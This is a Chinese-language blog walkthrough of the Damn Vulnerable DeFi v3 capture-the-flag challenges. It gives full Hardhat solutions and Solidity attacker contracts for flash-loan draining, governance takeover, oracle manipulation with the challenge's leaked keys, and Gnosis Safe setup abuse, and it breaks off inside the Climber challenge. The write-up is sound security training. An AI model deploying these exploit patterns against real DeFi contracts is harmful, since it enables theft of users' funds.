[区块链安全-Damn_Vulnerable_DeFi]区块链DeFi智能合约安全实战(V3.0.0)(已完结)

作者 : admin 本文共39238个字,预计阅读时间需要99分钟 发布时间: 2024-06-17 共1人阅读

区块链安全-Damn_Vulnerable_DeFi

  • 前言
  • 1. Unstoppable
  • 2. Naive receiver
  • 3. Truster
  • 4. Side Entrance
  • 5.The Rewarder
  • 6. Selfie
  • 7. Compromised
  • 8. Puppet
  • 9. Puppet – V2
  • 10. Free Rider
  • 11. Backdoor
  • 12. Climber
  • 13. Wallet-mining
  • 14. Puppet – V3
  • 15 ABI-Smuggling
  • 总结

前言

很抱歉,很久没有更新了。这段时间,经历了孩子出生、出国执行项目等诸多事情,心里也比较乱,也没有思绪去完成挑战。最近总算闲下来了,不过打开一看,发现[Damn-Vulnerable-DeFi]已经执行到v3.0.0了,很多东西都发生了变化,为什么不重头做一下呢?不过这次我可能会比较直接,直接贴代码、解释原理把!欢迎一起交流!

1. Unstoppable

test/unstoppable/unstoppable.challenge.js中,相关代码如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        console.log(await vault.totalAssets());
        console.log(await vault.totalSupply());
        await token.connect(player).transfer(vault.address,1);
        console.log(await vault.totalAssets());
        console.log(await vault.totalSupply());
    });

原因是因为在UnstoppableVault.sol中调用flashLoan函数,这里有一个先决条件,即if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

再看balanceBefore就是totalAssets即通过asset.balanceOf(address(this));查询的到的余额。而convertToShare(totalSupply)呢?totalSupply来源于UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626中的ERC626,因为abstract contract ERC4626 is ERC20,所以ERC20中的totalSupply就是我们要找的。

但是,实际的assets合约和Vault仓库的token又不算完全一样。asset是资产底层通证,而share就是股权通证,在本合约中是1:1兑换的,share的增发受严格控制,只能当用户存入asset资产底层通证时才能调用_mint函数,当用户取出时则会_burn

因为是convertToShares(totalSupply),当资产通证和合约股权通证严格相等时,totalSupply.mulDivDown(totalSupply, totalAssets())就会依然等同于totalAssets()。但由于股权通证的增发仅由deposit函数引起,因此我们直接调用token.transfer不会引起股权通证的变化,两者不再相等,从而该等式无法成立。

结果如下:

BigNumber { value: "1000000000000000000000000" } -> totalAssets(前)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(前)
BigNumber { value: "1000000000000000000000001" } -> totalAssets(后)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(后)

2. Naive receiver

解决思路:

考虑到在NaiveReceiverLenderPool中,采用FIXED_FEE,有

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

也就是说无论怎么样,都必须支付1ether的手续费用。所以我们只要借款10次,就能很轻易的掏空了。

因此,在test/naive-receiver/naive-receiver.challenge.js中,关键部分如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        for (i=0; i<10; i++){
            await pool.connect(player).flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",
                1,"0x");
        }
    });

注意,因为最后要传入bytes,所以必须加上”0x”,否则不符合格式则会报错。


3. Truster

解决思路:

考虑到在TrusterLenderPool.sol中,闪电贷函数flashLoan里有两种类型的地址,borrowertarget,同时还调用了target中的functionCall方法。我们实际上没有必要去在闪电贷过程中就转移所有通证,只要通过functionCall获取后续攻击的权限即可。

因此,在test/truster/truster.challenge.js中,关键部分如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const calldata = token.interface.encodeFunctionData(
            "approve",[player.address,TOKENS_IN_POOL]
        );

        await pool.connect(player).flashLoan(0,player.address,token.address,
            calldata);

        await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);
    });

我们构造了calldata,目的是使得pool作为msg.sender主动调用token合约中的approve,并授权给player所有通证的权限。同时我们用了0个通证的闪电贷并实现了授权,成功掏空了合约中的通证。


4. Side Entrance

解决思路:

SideEntranceLenderPool.sol中,SideEntranceLenderPool既提供了闪电贷功能,又提供了存入功能,这个则是“灾难的”。在闪电贷中,借入和归还都是通过transfer进行的,并没有对相关手段作出特别的校验,最终只会通过if (address(*this*).balance < balanceBefore)进行余额上的检查。但如果合约又同时提供了存入、取出却没有进行任何限制,攻击者通过deposit也能绕过flashLoan的验证,同时还能在之后通过withdraw进行提取。

我们需要手写合约,具体如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract Hacker{

    SideEntranceLenderPool pool;
    address owner;

    uint constant AMOUNT = 1000 * 10**18;

    constructor (address _pool) {
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }

    function attack() public{
        pool.flashLoan(AMOUNT);
    }

    function execute() public payable{
        pool.deposit{value:msg.value}();
    }

    function withdraw() public {
        pool.withdraw();
    }

    receive() external payable {
        payable(owner).transfer(msg.value);
    }

}

test/side-entrance/side-entrance.challenge.js中,具体代码如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const hacker = await (await ethers.getContractFactory('Hacker', player)).deploy(pool.address);
        await hacker.attack();
        await hacker.withdraw();
    });

5.The Rewarder

解决思路:

首先要弄明白,这个快照的是如何实现的。

AccountingToken的介绍是A limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshotting capabilities,这是通过继承ERC20Snapshot实现的。

后者定义了一个结构

    struct Snapshots {
        uint256[] ids;
        uint256[] values;
    }

并通过 mapping(address => Snapshots) private _accountBalanceSnapshots;去存储余额,在每次操作时,都会通过_updateAccountSnapshot_updateTotalSupplySnapshot去更新对应快照id下的余额。

而这个又是如何触发分红的呢,为什么不直接按照余额来?

TheRewarderPool触发分红是通过distributeRewards进行(注意是在mint后进行),当满足isNewRewardsRound(可开展新一轮分红后),就根据余额进行分红。

我们的思路就是通过闪电贷,触发分红(要在相关时间后第一个发起交易),随后取出并归还。

我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract HackerRewarder {

    using Address for address;


    address pool;
    address flashLoan;
    address token;
    address reward;
    address owner;

    constructor(address _pool,address _flashLoan, address _token, address _reward ) {
        pool = _pool;
        flashLoan = _flashLoan;
        token = _token;
        reward = _reward;
        owner = msg.sender;
    }

    function attack(uint amount) external {
        flashLoan.functionCall(abi.encodeWithSignature("flashLoan(uint256)", amount));
    }

    function receiveFlashLoan(uint256 amount) external {
        token.functionCall(abi.encodeWithSignature("approve(address,uint256)",pool,amount));
        pool.functionCall(abi.encodeWithSignature("deposit(uint256)", amount));
        pool.functionCall(abi.encodeWithSignature("withdraw(uint256)", amount));
        token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",flashLoan,amount));
        reward.functionCall(abi.encodeWithSignature("approve(address,uint256)",owner,100 ether));
    }
}

test/the-rewarder/the-rewarder.challenge.js中,具体代码如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const hacker = await ethers.getContractFactory('HackerRewarder', player);
        const hackerRewarder = await hacker.deploy(rewarderPool.address,
                                                   flashLoanPool.address,
                                                   liquidityToken.address,
                                                   rewardToken.address);
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        await hackerRewarder.connect(player).attack(TOKENS_IN_LENDER_POOL);
        const hackedReward = await rewardToken.balanceOf(hackerRewarder.address);
        await rewardToken.connect(player).transferFrom(hackerRewarder.address,player.address,hackedReward);
    });

其中,要记得通过evm_increaseTime将时间调整5天以达成分红的条件!


6. Selfie

解决思路:

首先我们要看一下攻击的入口很明显是SelfiePool.sol中的emergencyExit,但有一个onlyGovernance的限制。

我们看治理合约里,可以提出提案queueAction,但前提是_hasEnoughVotes(msg.sender),然而之后2 days后,执行通过的合约就不需要再次校验了!

所以我们可以利用闪电贷发起提案,2天后执行就好!

我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract HackerSelfie {

    using Address for address;

    address flashLoan;
    address govern;
    address token;
    address owner;
    uint256 public requestId;

    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");


    constructor(address _flashLoan,address _govern, address _token){
        flashLoan = _flashLoan;
        govern = _govern;
        token = _token;
        owner = msg.sender;
    }

    function attack(uint256 amount) public{
        flashLoan.functionCall(abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)",
            address(this),token,amount,""));
    }

    function onFlashLoan(
        address initiator,
        address _token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32){
        token.functionCall(abi.encodeWithSignature("snapshot()"));
        bytes memory response = govern.functionCall(abi.encodeWithSignature(
            "queueAction(address,uint128,bytes)", 
            flashLoan,0,abi.encodeWithSignature("emergencyExit(address)", owner)));
        requestId = abi.decode(response,(uint256));
        token.functionCall(abi.encodeWithSignature("approve(address,uint256)",flashLoan,amount+fee));
        return CALLBACK_SUCCESS;
    }

}

此处注意,为了保证,手动对token进行了快照!

test/the-rewarder/the-rewarder.challenge.js中,具体代码如下:

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const hacker =  await (await ethers.getContractFactory('HackerSelfie', player)).deploy(pool.address,
                                                                                                governance.address,
                                                                                                token.address);
        await hacker.connect(player).attack(await pool.maxFlashLoan(token.address));
        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
        await governance.executeAction(await hacker.requestId());

    });

7. Compromised

解决思路:

涉及到“喂价”,一定就回到了操纵预言机攻击。那我们来看看捕捉到的信息:

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35,两个16进制(1 byte => 8位)对应ASCII码。

解析为ASCII,为MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5,很明显这个是base64加密后的结果,解密为0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

同样,我们还可以获得0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

我们使用如下代码进行验证:

const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
const oracle1 = new ethers.Wallet(priKey1);
const oracle2 = new ethers.Wallet(priKey2);
console.log(oracle1.address);
console.log(oracle2.address);

输出结果如下:

0xe92401A4d3af5E446d93D11EEc806b1462b39D15
0x81A5D6E50C214044bE44cA0CB057fe119097850c

而这个正好就是喂价机的地址。接下来就是通过操纵预言机进行获利了。由合约Exchange.sol可知,buyOneSellOne都依赖于getMedianPrice,即通过中位数定价。

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
const oracle1 = new ethers.Wallet(priKey1,ethers.provider);
const oracle2 = new ethers.Wallet(priKey2,ethers.provider);
console.log(oracle1.address);
console.log(oracle2.address);
const tx1 = {
to: oracle1.address,
value: ethers.utils.parseEther('0.02'),
gasLimit: 21000,
gasPrice: ethers.utils.parseUnits('10', 'gwei'),
};
const tx2 = {
to: oracle2.address,
value: ethers.utils.parseEther('0.02'),
gasLimit: 21000,
gasPrice: ethers.utils.parseUnits('10', 'gwei'),
};         
await player.sendTransaction(tx1);
await player.sendTransaction(tx2);
await oracle.connect(oracle1).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
await oracle.connect(oracle2).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
const id = await exchange.connect(player).callStatic.buyOne({value:ethers.utils.parseEther('0.0001')});
await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});
const price = await ethers.provider.getBalance(exchange.address);
await oracle.connect(oracle1).postPrice('DVNFT',price);
await oracle.connect(oracle2).postPrice('DVNFT',price);
await nftToken.connect(player).approve(exchange.address,id);
await exchange.connect(player).sellOne(id);
await oracle.connect(oracle1).postPrice('DVNFT',INITIAL_NFT_PRICE);
await oracle.connect(oracle2).postPrice('DVNFT',INITIAL_NFT_PRICE);
});

注意以下几点:

  1. 提前给预言机器oracle1、oracle2转账

  2. 通过callStatic模拟执行结果,提前获取id

    或者使用

    const tx3 = await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});
    const receipt = await tx3.wait();
    const id =await receipt.events[1].args.tokenId;
    
  3. 结束以后将价格改回来


8. Puppet

解决思路:

要通过质押取出所有的通证,结果很简单,就是先“砸盘”,再存入并借款(通常情况下,又需要买回原来的“砸盘”保证筹码不失)。

如果仅由分步进行:

    it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);
await uniswapExchange.connect(player).tokenToEthSwapInput(
PLAYER_INITIAL_TOKEN_BALANCE,
1,
(await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline
);
const valueDeposit = await lendingPool.callStatic.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{value:valueDeposit});
await uniswapExchange.connect(player).ethToTokenSwapOutput(
PLAYER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 3,   // deadline
{value : UNISWAP_INITIAL_ETH_RESERVE + 1n}
);
});

然而,这不满足要求 // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

将攻击分成好几步,一次一次来,是不是觉得MEV看不到?所以这里还需要将以上步骤都打包,通过合约进行,并在合约创建过程中完成。这里就有一个问题了:approve操作该怎么办,能一步完成吗?

查询了一下所用的ERC20,里面多了一个函数permit:

    /*//
EIP-2612 LOGIC
//*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);

通过组合检查用户签名等同于Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)...可以实现代授权功能,这个感觉有点危险。。

那就写攻击合约吧:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";
contract HackerPuppet {
using Address for address;
constructor(address token,
address pool,
address swap,
uint8 v, bytes32 r, bytes32 s,
uint256 playerToken,
uint256 poolToken) payable {
token.functionCall(abi.encodeWithSignature(
"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
msg.sender,
address(this),
type(uint256).max,
type(uint256).max,
v,r,s
));
token.functionCall(abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
msg.sender,
address(this),
playerToken
));
bytes memory ans = token.functionCall(abi.encodeWithSignature(
"balanceOf(address)",
address(this)
));
console.log("after transfering...");
console.log(abi.decode(ans,(uint256)));
console.log("before swapping");
console.log(address(this).balance);
token.functionCall(abi.encodeWithSignature(
"approve(address,uint256)",
swap,
playerToken
));
swap.call(
abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)", 
playerToken,
1,
type(uint256).max
)
);
console.log("after swapping");
console.log(address(this).balance);
(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
"calculateDepositRequired(uint256)", 
poolToken));
console.log(suc);
uint256 requiredETH = abi.decode(response,(uint256));
console.log("requiredETH");
console.log(requiredETH);
pool.functionCallWithValue(
abi.encodeWithSignature
("borrow(uint256,address)", poolToken, msg.sender)
,
requiredETH);
swap.functionCallWithValue(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)", 
playerToken,
type(uint256).max
),
10 ether + 1
);
token.functionCall(abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
playerToken
));
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
}
}

我们逐步来解析,以下通过permit完成在合约中的代授权并转账(其实我觉得在攻击时,这一步能拆开)

        token.functionCall(abi.encodeWithSignature(
"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
msg.sender,
address(this),
type(uint256).max,
type(uint256).max,
v,r,s
));
token.functionCall(abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
msg.sender,
address(this),
playerToken
));

以下approve完成通证授权给swap,并通过swap实现“砸盘”

		token.functionCall(abi.encodeWithSignature(
"approve(address,uint256)",
swap,
playerToken
));
swap.call(
abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)", 
playerToken,
1,
type(uint256).max
)
);

以下则通过质押进行borrow,并在同一笔交易内将“砸盘”的筹码买回!

 		(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
"calculateDepositRequired(uint256)", 
poolToken));
console.log(suc);
uint256 requiredETH = abi.decode(response,(uint256));
console.log("requiredETH");
console.log(requiredETH);
pool.functionCallWithValue(
abi.encodeWithSignature
("borrow(uint256,address)", poolToken, msg.sender)
,
requiredETH);
swap.functionCallWithValue(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)", 
playerToken,
type(uint256).max
),
10 ether + 1
);

合约创建如test/puppet/puppet.challenge.js,先通过getContractAddress实现合约地址预先计算以实现签名,然后通过部署完成攻击!

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = ethers.utils.getContractAddress({
from: player.address,
nonce: 0 
});
console.log("hackerAddress : " + hacker);
console.log("swap : " + uniswapExchange.address);
const { r, s, v } = await signERC2612Permit(
ethers.provider,
token.address,
player.address,
hacker,
);
await (await ethers.getContractFactory('HackerPuppet', player)).deploy(
token.address,
lendingPool.address,
uniswapExchange.address,
v,r,s,
PLAYER_INITIAL_TOKEN_BALANCE,
POOL_INITIAL_TOKEN_BALANCE,
{value: 200n * 10n ** 17n,  gasLimit: '30000000',
});
console.log(await token.balanceOf(hacker));
});

9. Puppet – V2

解决思路:

这里是Uniswap V2,与之前的区别在于使用了UniswapRouter进行了中继,所以我们不会再直接与pair进行交互,而是依靠Router

思路还是一样的,先将token转变为weth,并将eth转变为weth以完成质押存入mint weth(否则数量不够)。这一题反而没有单笔交易内完成的相关限制,有点奇怪。

具体代码如下:

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);
console.log("before swapping, token : "+await token.balanceOf(player.address));
console.log("before swapping, weth : "+await weth.balanceOf(player.address));
await uniswapRouter.connect(player).swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE,
1,
[
token.address,
weth.address
],
player.address,
(await ethers.provider.getBlock('latest')).timestamp * 3,
);
console.log("after swapping, token : "+await token.balanceOf(player.address));
console.log("after swapping, weth : "+await weth.balanceOf(player.address));
const stakeAmount = await lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
const beforeDeposit = await weth.balanceOf(player.address);
const valueToDeposit = BigNumber(stakeAmount - beforeDeposit);
await weth.connect(player).deposit({value : valueToDeposit.toString()});
console.log("current : "+ await weth.balanceOf(player.address));
await weth.connect(player).approve(lendingPool.address,stakeAmount);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);
});

10. Free Rider

解决思路:

进入点类似于重入攻击,只要凑齐15ETH,就可以通过buyMany的漏洞批量完成了。然而我们起始只有0.1个,该怎么办?这也呼应了题目中的If only you could get free ETH, at least for an instant.

一开始疑惑了好一会,突然明白了,因为部署了Uniswap V2,所以我们可以利用FlashLoan(Flash Swap)实现一次性攻击。

其实这里面漏洞有两个:

  1. msg.value可重入 批量购买
  2. 将购买金额发送给nft所有者是在变更所有权后

以下是攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
contract HackerFreeRider is IERC721Receiver{
using Address for address;
// borrow eth
uint256 borrowAmount = 15 ether;
address pair;
address weth;
address exchange;
address nft;
address reward;
address owner;
constructor(address _pair,
address _weth,
address _exchange,
address _nft,
address _reward
){
pair = _pair;
weth = _weth;
exchange = _exchange;
nft = _nft;
reward = _reward;
owner = msg.sender;
}
function attack() public {
pair.functionCall(
abi.encodeWithSignature(
"swap(uint256,uint256,address,bytes)",
borrowAmount,
0,
address(this),
"1"
));
}
function uniswapV2Call(address sender, 
uint amount0, 
uint amount1, 
bytes calldata data) public{
console.log("calling back");
bytes memory wethBorrowed = weth.functionCall(
abi.encodeWithSignature(
"balanceOf(address)",
address(this)
)
);
console.log(
abi.decode(wethBorrowed,(uint256))
);
console.log("successfully borrowed ...");
weth.functionCall(
abi.encodeWithSignature(
"withdraw(uint256)",
abi.decode(wethBorrowed,(uint256))
)
);
console.log(address(this).balance);
uint[] memory arr = new uint[](6);
for (uint i = 0; i<6; i++){
arr[i] = i;
}
exchange.functionCallWithValue(
abi.encodeWithSignature(
"buyMany(uint256[])", 
arr),
abi.decode(wethBorrowed,(uint256))
);
for (uint i = 0; i < 6; i++){
nft.functionCall(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256,bytes)",
address(this),
reward,
i,
abi.encode(address(this))
)
);
}
console.log("eth ", address(this).balance);
uint mintback = borrowAmount * 1000 / 997 + 1 ether;
weth.functionCallWithValue(
abi.encodeWithSignature(
"deposit()"
),
mintback
);
console.log("after mint back ");
console.log("eth ", address(this).balance);
weth.functionCall(
abi.encodeWithSignature(
"transfer(address,uint256)",
pair,
mintback
)
);
payable(owner).transfer(address(this).balance);
console.log("finish...");
}
receive() payable external {
console.log("receiving ...");
console.log(msg.value);
console.log(address(this).balance);
}
function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
external
override
returns (bytes4)
{
console.log("receving : ", _tokenId);
return IERC721Receiver.onERC721Received.selector;
}
}

attack函数中,调用

        pair.functionCall(
abi.encodeWithSignature(
"swap(uint256,uint256,address,bytes)",
borrowAmount,
0,
address(this),
"1"
));

通过uniswapV2Call接受回调,实现转为ETH,购买NFT,获取奖励,铸造WETH,归还闪电贷。同时记得要实现onERC721Received以接受NFT。

test/free-rider/free-rider.challenge.js中,代码如下:

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
hacker = await (await ethers.getContractFactory('HackerFreeRider', player)).deploy(
uniswapPair.address,
weth.address,
marketplace.address,
nft.address,
devsContract.address
);
hacker.connect(player).attack();
});

11. Backdoor

首先:Gnosis Safe是一个开源的多签名钱包,旨在为用户提供更高的安全性和更好的用户体验。它允许用户管理数字资产,并使用多重签名保护其资产。这介绍了相关背景。

因为一开始做就了限制:

msg.sender != walletFactory所以我们还是要先与walletProxyFactory进行交互,所以我们看看有哪些利用点。

观察createProxyWithCallback调用了createProxyWithNonce,同时执行以下:

            assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}

这会调用proxyfallback函数,最终通过delegateCall执行calldata中的逻辑。

    fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}

在这里,又由于限制,我们可以直接将singleton指向攻击函数,并在这里执行操作,由于调用发生在之前,所以我们可以预先通过approve等方法完成预先授权。但由于需要调用Setup完成对钱包的设置,所以我们将调用approve的操作delegate放在setupdata变量中,最终会在setupModule中通过 require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");执行。所以我们传入的initializer应该是setup经过decode后的结果。

先写攻击合约,这里有一个大坑。。(我一开始将 function delegateApprove(address token, address spender) external写在HackerBackDoor合约内,但是因为还是在创建阶段,所以无法调用。所以后来我写在一个子合约内)。因为每次owner只能有一个人,所以我们被迫通过循环实现。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
contract CB{
constructor(){
}
function delegateApprove(address token, address spender) external{
console.log("delegate coming in");
token.call(
abi.encodeWithSignature(
"approve(address,uint256)",
spender,
type(uint256).max - 1
)
);
}
}
contract HackerBackdoor {
using Address for address;
address placeholder1;
address placeholder2;
IERC20 tokenDVT;
constructor(
address[] memory users,
address factory,
address token,
address wallet,
address singleton
){
tokenDVT = IERC20(token);
CB cb = new CB();
GnosisSafeProxyFactory fac = GnosisSafeProxyFactory(factory);
console.log("performing attack by ",address(this));
for (uint i = 0; i < users.length; i++){
console.log("user ",users[i]);
address[] memory user2call = new address[](1);
user2call[0] = users[i];
bytes memory tmp = abi.encodeWithSignature(
"delegateApprove(address,address)",
token,
address(this)
);
bytes memory data = 
abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)"
,
user2call,
1, // threshold
cb,
tmp,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxyAddr = fac.createProxyWithCallback(
singleton, data, 0, IProxyCreationCallback(wallet));
console.log("proxy ", address(proxyAddr));
console.log("dvt balance ",tokenDVT.balanceOf(address(proxyAddr)));
tokenDVT.transferFrom(
address(proxyAddr), msg.sender, 10 ether);
}
}
}

根据以上原理,见test/backdoor/backdoor.challenge.js,我们成功在一笔交易内完成获取。

    it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory('HackerBackdoor', player)).deploy(
users,
walletFactory.address,
token.address,
walletRegistry.address,
masterCopy.address,
{gasLimit: '30000000'}
);
});

PS. 我发现调试时尽量通过interface导入后调用,之前是为了合约的简洁(如果思路清晰的话没问题)。


12. Climber

解决思路:

ClimberTimeLockexecute函数中,由于先执行操作,然后再通过getOperationState(id) != OperationState.ReadyForExecution校验,形成了典型的“先上车后买票”的进入点。

但由于我们执行时,得一步一步执行,因为执行时msg.sender就是ClimberTimeLock本身。我们会从Admin_ROLE开始,逐步提权。

我们首先列出需要做的事情:

  1. updateDelay 改为 0
  2. 分配给特定角色PROPOSER_ROLE以能够实现提案
  3. 实现升级以取消相关限制
  4. 完成提款
  5. 提交提案

所以我们先写出来攻击的合约吧,需要在同一笔交易内完成(创建合约可以提前)。

升级合约本身没什么特别的,就是在原先基础上去掉了一些限制:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
if (msg.sender != _sweeper) {
revert CallerNotSweeper();
}
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address token, address recipient, uint256 amount) external onlyOwner {
// Cancel AnyRestrictions
SafeTransferLib.safeTransfer(token, recipient, IERC20(token).balanceOf(address(this)));
}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external onlySweeper {
